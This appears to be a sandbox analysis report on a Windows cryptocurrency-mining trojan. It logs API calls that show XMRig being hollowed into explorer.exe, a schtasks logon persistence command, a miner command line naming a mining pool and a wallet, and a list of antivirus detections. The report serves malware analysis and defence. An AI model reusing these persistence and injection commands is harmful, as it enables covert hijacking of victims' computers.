óo|$0óot$@HƒÄPA_A^A]A\^_][Ãfffffff„fffffff„fff„L3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHߐfffffff„LCHãÿÿ?HÁãHßL¯cL‹ dM3ÈL‹bM3ÐL‹`M3ØL‹%^M3àL‹-\M3èL‹5ZM3ðL‹=XM3øéXfffffff„f„-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„ºL‹Á3ÀH½ÉHÓâI÷ðÃ
base_address: 0x0000000140747000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: ÅøwH‰\$H‰t$H‰|$UATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HƒåàÅùïÀ3ÿÇEL‹âÇE L‹òÇE IÁîAƒäÇE  M‹èÆE H‹ñ‹ßÅýE ÅýE@ÅýE`Åý…€Åý… Åý…ÀÅý…àM…öt>¶DHM H ÁH‹H1L{Hƒûu HM èñHƒûH‹ÇIEÇHƒÆH‹ØIƒîuÂH‹×M…ätL‹Ç¶2HÿÂÄâ¹÷ÈH ùIƒÀI;Ôrè¶DHU H¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH‰ H1EhHM èxÅüE ÄÁ|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\]H‹\$H‹t$H‹|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýܓÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýҍÄcýۍÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5Ý ÄC%ù ÄÃ-ë ÄC5ò ÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñ ÄC-ü ÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%Ô ÄCó ÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâ ÄCõ ÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ…²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff„$)>-8' =7,+=.?$%:6 8>1',+2‚€‚€‚€‚€Š€€Š€€Š€€Š€€€€€€€€€€€€€€‹€‹€‹€‹€€€€€€€€€€€€€€€€€ €€ €€ €€ €€ŠŠŠŠˆˆˆˆ €€ €€ €€ €€ € € € €‹€€‹€€‹€€‹€€‹€‹€‹€‹€‰€€‰€€‰€€‰€€€€€€€€€€€€€€€€€€€€€€€€€€ € € € € €€ €€ €€ €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
base_address: 0x0000000140748000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: Н0ï0ѝ0ߝ0ž0 ž00ž0@ž0؝0pž0€ž0ž0ž0Xž0 ž0Àž0õ0ž¢0›¢0Ç¢0—¢0¤¢0´¢0Ä¢0”¢0Ì¢0¨¢0à¢0Т0 ¢0°¢0À¢0¢0è¢0
base_address: 0x000000014074d000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:  €8€P€h€ €  àtŒ0ãt}Œ4VS_VERSION_INFO½ïþ  ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@ FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x000000014074e000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: @
base_address: 0x000007fffffd4010
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0
Time & API Arguments Status Return Repeated

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0
Process injection Process 2840 called NtSetContextThread to modify thread in remote process 2708
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.r14: 0
registers.r15: 0
registers.rcx: 5371770476
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 982328
registers.r11: 0
registers.r8: 0
registers.r9: 0
registers.rip: 1996145920
registers.rdx: 8796092841984
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
thread_handle: 0x000000000000032c
process_identifier: 2708
1 0 0
Process injection Process 2840 resumed a thread in remote process 2708
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x000000000000032c
suspend_count: 1
process_identifier: 2708
1 0 0
Time & API Arguments Status Return Repeated

NtQuerySystemInformation

 information_class: 76 (SystemFirmwareTableInformation)
-1073741789 0
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2060
1 0 0

NtResumeThread

 thread_handle: 0x000000000000013c
suspend_count: 1
process_identifier: 2060
1 0 0

NtResumeThread

 thread_handle: 0x000000000000017c
suspend_count: 1
process_identifier: 2060
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000224
suspend_count: 1
process_identifier: 2060
1 0 0

CreateProcessInternalW

 thread_identifier: 2444
thread_handle: 0x00000000000003b8
process_identifier: 2440
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000003c0
1 1 0

NtResumeThread

 thread_handle: 0x00000000000003d8
suspend_count: 1
process_identifier: 2060
1 0 0

CreateProcessInternalW

 thread_identifier: 2844
thread_handle: 0x0000000000000448
process_identifier: 2840
current_directory: C:\Users\test22
filepath: C:\Users\test22\services64.exe
track: 1
command_line: "C:\Users\test22\services64.exe"
filepath_r: C:\Users\test22\services64.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000464
1 1 0

CreateProcessInternalW

 thread_identifier: 2504
thread_handle: 0x0000000000000060
process_identifier: 2500
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
filepath_r: C:\Windows\system32\schtasks.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000138
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000180
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000228
suspend_count: 1
process_identifier: 2840
1 0 0

CreateProcessInternalW

 thread_identifier: 3068
thread_handle: 0x00000000000003bc
process_identifier: 3064
current_directory: C:\Users\test22
filepath: C:\Windows\System32\cmd.exe
track: 1
command_line: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"' & exit
filepath_r: C:\Windows\System32\cmd.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000000000003c4
1 1 0

NtResumeThread

 thread_handle: 0x0000000000000324
suspend_count: 1
process_identifier: 2840
1 0 0

CreateProcessInternalW

 thread_identifier: 2148
thread_handle: 0x0000000000000424
process_identifier: 1892
current_directory: C:\Users\test22\AppData\Roaming\Microsoft\Libs\
filepath: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
track: 1
command_line: "C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe"
filepath_r: C:\Users\test22\AppData\Roaming\Microsoft\Libs\sihost64.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x0000000000000440
1 1 0

NtResumeThread

 thread_handle: 0x00000000000005ac
suspend_count: 1
process_identifier: 2840
1 0 0

NtResumeThread

 thread_handle: 0x00000000000007cc
suspend_count: 1
process_identifier: 2840
1 0 0

CreateProcessInternalW

 thread_identifier: 2716
thread_handle: 0x000000000000032c
process_identifier: 2708
current_directory: C:\Windows
filepath:
track: 1
command_line: C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.minexmr.com:4444 --user=49LQTYwMJ5pK2AtCViY5By7cEUhfYXwjgdaYMBEueHKmeoahcgdnc2CRCnrtK3mDaY2gyEViU4U9AYtkMp1T5rDAUpafWNN --pass= --cpu-max-threads-hint=30 --cinit-idle-wait=5 --cinit-idle-cpu=80 --cinit-stealth
filepath_r:
stack_pivoted: 0
creation_flags: 4 (CREATE_SUSPENDED)
inherit_handles: 1
process_handle: 0x0000000000000330
1 1 0

NtUnmapViewOfSection

 base_address: 0x0000000140000000
region_size: 8786415321088
process_identifier: 2708
process_handle: 0x0000000000000330
-1073741799 0

NtAllocateVirtualMemory

 process_identifier: 2708
region_size: 7700480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000140000000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x0000000000000330
1 0 0

WriteProcessMemory

 buffer: MZÿÿ¸@ º´ Í!¸LÍ!This program cannot be run in DOS mode. $\ˆ>)éPzéPzéPzCT{éPzCS{éPzCU{ÐéPz†I—zéPz†T{ éPz†S{éPz†U{ŽéPzކT{ éPzCQ{ éPzéQzpèPz™T{KëPzކY{äéPzކS{éPzކ¯zéPzéÇzéPzކR{éPzRichéPzPEd† @+`ð" 4Al¶.@€u`|ÐFÜàt°`r| ðtœ‰wCPxC( wC0 4X .textt44 `.rdataŠÓ 4Ô 4@@.dataðR+G"ÞF@À.pdata| `rH@@_RANDOMX– ptJ@`_SHA3_25@ €t J@`_TEXT_CNQt &J@`_TEXT_CN„°tFJ@`_RDATA”ÐtXJ@@.rsrc°àtZJ@@.relocœ‰ðtŠ`J@B
base_address: 0x0000000140000000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140001000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140342000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140470000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140726000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: H‹Ð%Àÿ HÁÊ âÀÿ fffffff„fffffff„„SUWVATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$QH‹*H‹zH‹ÅHÁè %ÀÿÿI‹ðI‹ÙH‹ÅM3ÀM3ÉM3ÒM3ÛM3äM3íM3öM3ÿHIxfD(AHfD(IXfD(QhfD(YxfD(-ŒfD(5“fD(=šH‹Ð%ÀÿHÁÊ âÀÿHƒì(Ç$ÀŸÇD$À¿ÇD$ÀßÇD$ ÀÿÇD$ ÿÿÿÿëhfffffff„fffffff„fffffff„fff„ÀÿÿÿÿÀÿÿÿÿð€ð€H¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QH¹QHÄ€ëfffffff„„H H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8fATåfATífATõfATýfAVæfAVîfAVöfAVþH H‰L$L3L3IL3QL3YL3a L3i(L3q0L3y8H H‰L$óæóæIóæQóæYóæa óæi(óæq0óæy8ÈX¢æЏÈP¢îЏÈH¢öЏÈ@¢þАH3è‹ÕâÀÿÿHÁÍ ‹ÕâÀÿÿH L3L3IL3QL3YL3a L3i(L3q0L3y8H‹ÍHÁé áÀÿÿL3H3è‹ÕâÀÿÿHÁÍ L3LL3TL3\L3d L3l(L3t0L3|8HƒìHH‰\$@L‰D$8L‰L$0L‰T$(L‰\$ L‰d$L‰l$L‰t$L‰<$H3èHÁÍ ‹ÝãÀÿÿÁëH‹\$@L3D$8L3L$0L3T$(L3\$ L3d$L3l$L3t$L3<$HƒÄHH‹L$L‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8H‹L$fWÄfWÍfWÖfWßf)f)If)Q f)Y0ff„SUWVATAUAVAWH‹9H‹òI‹èAQ H‹ÝèÞL‰L‰NL‰VL‰^L‰f L‰n(L‰v0L‰~8HƒÅHƒÆ@H;,$rÈAYA_A^A]A\^_][Ãfffffff„fffffff„@SUWVATAUAVAWHìó$óL$óT$ ó\$0ód$@ól$Pót$`ó|$póD„$€óDŒ$óD”$ óDœ$°óD¤$ÀóD¬$ÐóD´$àóD¼$ðH‹9H‹òI‹èAQHƒì(éš-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„fffffff„fffffff„fffffff„DF@†€†À†H‹ÝHãÿÿ?HÁãHßHEH%ÿÿ?HÁàHÇH‰$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$HEH%ÿÿ?HÁàHÇH‰D$LEL¯ïþÿÿL‹ ðþÿÿM3ÈL‹îþÿÿM3ÐL‹ìþÿÿM3ØL‹%êþÿÿM3àL‹-èþÿÿM3èL‹5æþÿÿM3ðL‹=äþÿÿM3øH‰l$ Äâ}D$ ÅýÔmþÿÿÄâ} ŒþÿÿŽsРŵsÑ Å}ôÑÅ5ôØŽôÁÄÁ%só Åýsð ÄA-ÔÓÅ­ÔÀÄâ} aþÿÿÅýïÉÄâ}\þÿÿÅýïÒÄâ}WþÿÿÅýïÛÄâ}%RþÿÿÅýïäÄâ}-MþÿÿÅýïíÄâ}5HþÿÿÅýïöÄâ}=CþÿÿÅýïÿÄb}=öýÿÿÄÁ s÷L‰Å}lÁL‰NÅmlËL‰VÅ]lÕL‰^ÅMlßL‰f Å}máL‰n(ÅmmëL‰v0Å]mõL‰~8ÅMmÿÄÃ=FÁ ÄÃ-FË ÅþF@ÅþN`ÄÃFÕ Äà Fß Åþ–€Åþž ÄÃ=Fá1ÄÃ-Fë1Åþ¦ÀÅþ®àÄÃFõ1Äà Fÿ1Åþ¶Åþ¾ HƒÅHÆ@H;l$(‚HƒÄ(AYóo$óoL$óoT$ óo\$0óod$@óol$Póot$`óo|$póDo„$€óDoŒ$óDo”$ óDoœ$°óDo¤$ÀóDo¬$ÐóDo´$àóDo¼$ðÅøwHÄA_A^A]A\^_][ÃHƒì(H‰$Å~t$H‹D$(H‹\$0H‹L$8H‹T$@Å~oÅ~o Å~oÅ~oÄA=láÄA-lëÄCFõ ÄÁ}ïÆÄCFõ1ÄÁmïÖÄA=máÄA-mëÄCFõ ÄÁuïÎÄCFõ1ÄÁeïÞÅ~o@ Å~oK Å~oQ Å~oZ ÄA=láÄA-lëÄCFõ ÄÁ]ïæÄCFõ1ÄÁMïöÄA=máÄA-mëÄCFõ ÄÁUïîÄCFõ1ÄÁEïþH‹$Å~ot$HƒÄ(Åþ$H‹$H%ÿÿ?HÁàHÇH‰$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$H‹D$H%ÿÿ?HÁàHÇH‰D$HƒÄ(YL‰L‰IL‰QL‰YL‰a L‰i(L‰q0L‰y8fA@fIPfQ`fYpHI@fa@fiPfq`fypóDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\^_][Ãfffffff„fffffff„fff„L3L3KL3SL3[L3c L3k(L3s0L3{8Hãÿÿ?HÁãHߐfffffff„LCHãÿÿ?HÁãHßL¯cL‹ dM3ÈL‹bM3ÐL‹`M3ØL‹%^M3àL‹-\M3èL‹5ZM3ðL‹=XM3øéXfffffff„f„-•L-ôQXü¡õYŠ— FØÂ8ߙp§\I"¿¹&bŠŸ—%MI ìªÎ¹ï7’x-æltV*/Nå,¶÷;…„ºL‹Á3ÀH½ÉHÓâI÷ðÃ
base_address: 0x0000000140747000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: ÅøwH‰\$H‰t$H‰|$UATAUAVAWHƒìPót$@ó|$0óDD$ óDL$óD$HƒìPóD\$@óDd$0óDl$ óDt$óD<$Hì@Hl$@HƒåàÅùïÀ3ÿÇEL‹âÇE L‹òÇE IÁîAƒäÇE  M‹èÆE H‹ñ‹ßÅýE ÅýE@ÅýE`Åý…€Åý… Åý…ÀÅý…àM…öt>¶DHM H ÁH‹H1L{Hƒûu HM èñHƒûH‹ÇIEÇHƒÆH‹ØIƒîuÂH‹×M…ätL‹Ç¶2HÿÂÄâ¹÷ÈH ùIƒÀI;Ôrè¶DHU H¹JåÄâù÷ÉH3 ¸HÁà?H3ÏH‰ H1EhHM èxÅüE ÄÁ|EÅøwHÄ@óDo<$óDot$óDol$ óDod$0óDo\$@HƒÄPóDo$óDoL$óDoD$ óo|$0óot$@HƒÄPA_A^A]A\]H‹\$H‹t$H‹|$ÃLL ÖL/¸HI`Äâ}YA ÅþoI¨ÅþoQÈÅþoYèÅþoaÅþoi(ÅþoqHfÅ}pêNÅUïãÅ]ïÎÅïáÄAïáÄCýܓÅïêÄÃýýNÄÁ=sÔ?ÄAÔÌÄA=ëÁÄCýø9ÄA=ïóÄCýöÅïèÅïïÄÁEsÕ?ÄAÔÅÅ=ëÇÄÁmïÖÄÁ}ïÆÄCøÀÄC%ÝÄAïûÄBíGP ÄÂíEQ ÄÁmëÒÄÁeïßÄBåGXàÄÂåEYàÄÁeëÛÄÁ]ïçÄBÝG ÄÂÝE!ÄÁ]ëäÄÁUïïÄBÕGh ÄÂÕEi ÄÁUëíÄÁMï÷ÄcýҍÄcýۍÄBÍGp@ÄBÍEA@ÄA=ëÆÄÁuïÏÄcýäÄcýírÄBõGxÀÄBõEIÀÄA5ëÏÄÁ sØÄÁ=ßþÄÃ5Ý ÄC%ù ÄÃ-ë ÄC5ò ÄÃeÛ0ÄCü0ÄÃUé0ÄC õ0ÄÃeÜÀÄCýÀÄÃUíÀÄC óÀÄÁeßßÄÁUßîÄÃñ ÄC-ü ÄÁeïÚÄÃMò0ÄCû0ÄÁUïìÄÃMóÀÄCùÀÄÁMß÷ÄÁMïõÄÃýàÄc]ø0ÄÃýÈ9ÄãuÈÀÄÁußÏÄÃ%Ô ÄCó ÄÃmÕ0ÄC ò0ÄÃmÒÀÄC ôÀÄÁmßÖÄÁmïÑÄãýÿÄãýÛÄãýíÄãýörÄÃâ ÄCõ ÄÃ]ä0ÄC ñ0ÄÃ]áÀÄC òÀÄÁ]ßæÅýïÇÄÁuïÈÄÁ]ïãÄÁ}ïMR ÿÈ…²ýÿÿÄáù~A ÅþI¨ÅþQÈÅþYèÅþaÅþi(ÅþqHÃfffff„$)>-8' =7,+=.?$%:6 8>1',+2‚€‚€‚€‚€Š€€Š€€Š€€Š€€€€€€€€€€€€€€‹€‹€‹€‹€€€€€€€€€€€€€€€€€ €€ €€ €€ €€ŠŠŠŠˆˆˆˆ €€ €€ €€ €€ € € € €‹€€‹€€‹€€‹€€‹€‹€‹€‹€‰€€‰€€‰€€‰€€€€€€€€€€€€€€€€€€€€€€€€€€ € € € € €€ €€ €€ €€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€€
base_address: 0x0000000140748000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x0000000140749000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000014074b000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer: Н0ï0ѝ0ߝ0ž0 ž00ž0@ž0؝0pž0€ž0ž0ž0Xž0 ž0Àž0õ0ž¢0›¢0Ç¢0—¢0¤¢0´¢0Ä¢0”¢0Ì¢0¨¢0à¢0Т0 ¢0°¢0À¢0¢0è¢0
base_address: 0x000000014074d000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:  €8€P€h€ €  àtŒ0ãt}Œ4VS_VERSION_INFO½ïþ  ?êStringFileInfoÆ000004b0<CompanyNamewww.xmrig.com@ FileDescriptionXMRig miner.FileVersion6.12.1h"LegalCopyrightCopyright (C) 2016-2021 xmrig.com< OriginalFilenamexmrig.exe,ProductNameXMRig2ProductVersion6.12.1DVarFileInfo$Translation°<?xml version='1.0' encoding='UTF-8' standalone='yes'?> <assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> <security> <requestedPrivileges> <requestedExecutionLevel level='asInvoker' uiAccess='false' /> </requestedPrivileges> </security> </trustInfo> </assembly>
base_address: 0x000000014074e000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

WriteProcessMemory

 buffer:
base_address: 0x000000014074f000
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

NtGetContextThread

 thread_handle: 0x000000000000032c
1 0 0

WriteProcessMemory

 buffer: @
base_address: 0x000007fffffd4010
process_identifier: 2708
process_handle: 0x0000000000000330
1 1 0

NtSetContextThread

 registers.r14: 0
registers.r15: 0
registers.rcx: 5371770476
registers.rsi: 0
registers.r10: 0
registers.rbx: 0
registers.rsp: 982328
registers.r11: 0
registers.r8: 0
registers.r9: 0
registers.rip: 1996145920
registers.rdx: 8796092841984
registers.r12: 0
registers.rbp: 0
registers.rdi: 0
registers.rax: 0
registers.r13: 0
thread_handle: 0x000000000000032c
process_identifier: 2708
1 0 0

NtResumeThread

 thread_handle: 0x000000000000032c
suspend_count: 1
process_identifier: 2708
1 0 0

CreateProcessInternalW

 thread_identifier: 524
thread_handle: 0x0000000000000060
process_identifier: 2164
current_directory: C:\Users\test22
filepath: C:\Windows\System32\schtasks.exe
track: 1
command_line: schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\test22\services64.exe"'
filepath_r: C:\Windows\system32\schtasks.exe
stack_pivoted: 0
creation_flags: 524288 (EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 1
process_handle: 0x0000000000000064
1 1 0

NtResumeThread

 thread_handle: 0x00000000000000c4
suspend_count: 1
process_identifier: 1892
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000134
suspend_count: 1
process_identifier: 1892
1 0 0

NtResumeThread

 thread_handle: 0x00000000000001c8
suspend_count: 1
process_identifier: 1892
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000204
suspend_count: 1
process_identifier: 2708
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000208
suspend_count: 1
process_identifier: 2708
1 0 0

NtResumeThread

 thread_handle: 0x000000000000020c
suspend_count: 1
process_identifier: 2708
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000214
suspend_count: 1
process_identifier: 2708
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.Agent.FLDK
FireEye Generic.mg.2ef1f2fd600af1ce
McAfee Artemis!2EF1F2FD600A
Cylance Unsafe
Sangfor Trojan.Win32.Save.a
K7AntiVirus Trojan ( 0057fb1b1 )
Alibaba Trojan:MSIL/Kryptik.093d5b63
K7GW Trojan ( 0057fb1b1 )
Cybereason malicious.b56608
Cyren W64/Trojan.HVID-4631
Symantec Trojan Horse
ESET-NOD32 a variant of MSIL/Kryptik.ACBQ
APEX Malicious
Avast Win64:CoinminerX-gen [Trj]
Kaspersky HEUR:Trojan.MSIL.Cryptos.gen
BitDefender Trojan.Agent.FLDK
Ad-Aware Trojan.Agent.FLDK
Sophos Mal/Generic-S
DrWeb Trojan.PackedNET.943
TrendMicro TROJ_GEN.R002C0WH221
McAfee-GW-Edition Artemis!Trojan
Emsisoft Trojan.Agent.FLDK (B)
Paloalto generic.ml
eGambit Unsafe.AI_Score_99%
Avira HEUR/AGEN.1143066
MAX malware (ai score=100)
Microsoft Trojan:Win32/Mamson.A!ac
ViRobot Trojan.Win64.S.CoinMiner.45568
ZoneAlarm HEUR:Trojan.MSIL.Cryptos.gen
GData Trojan.Agent.FLDK
Cynet Malicious (score: 100)
AhnLab-V3 Trojan/Win.Generic.C4554859
ALYac Trojan.Agent.CoinMiner
VBA32 Trojan.MSIL.Cryptos
TrendMicro-HouseCall TROJ_GEN.R002C0WH221
Tencent Msil.Trojan.Cryptos.Hwwv
SentinelOne Static AI - Malicious PE
Fortinet MSIL/GenKryptik.FHLO!tr
AVG Win64:CoinminerX-gen [Trj]
Panda Trj/CI.A
CrowdStrike win/malicious_confidence_90% (W)
Qihoo-360 Win64/Miner.Coinminer.HgEASZYA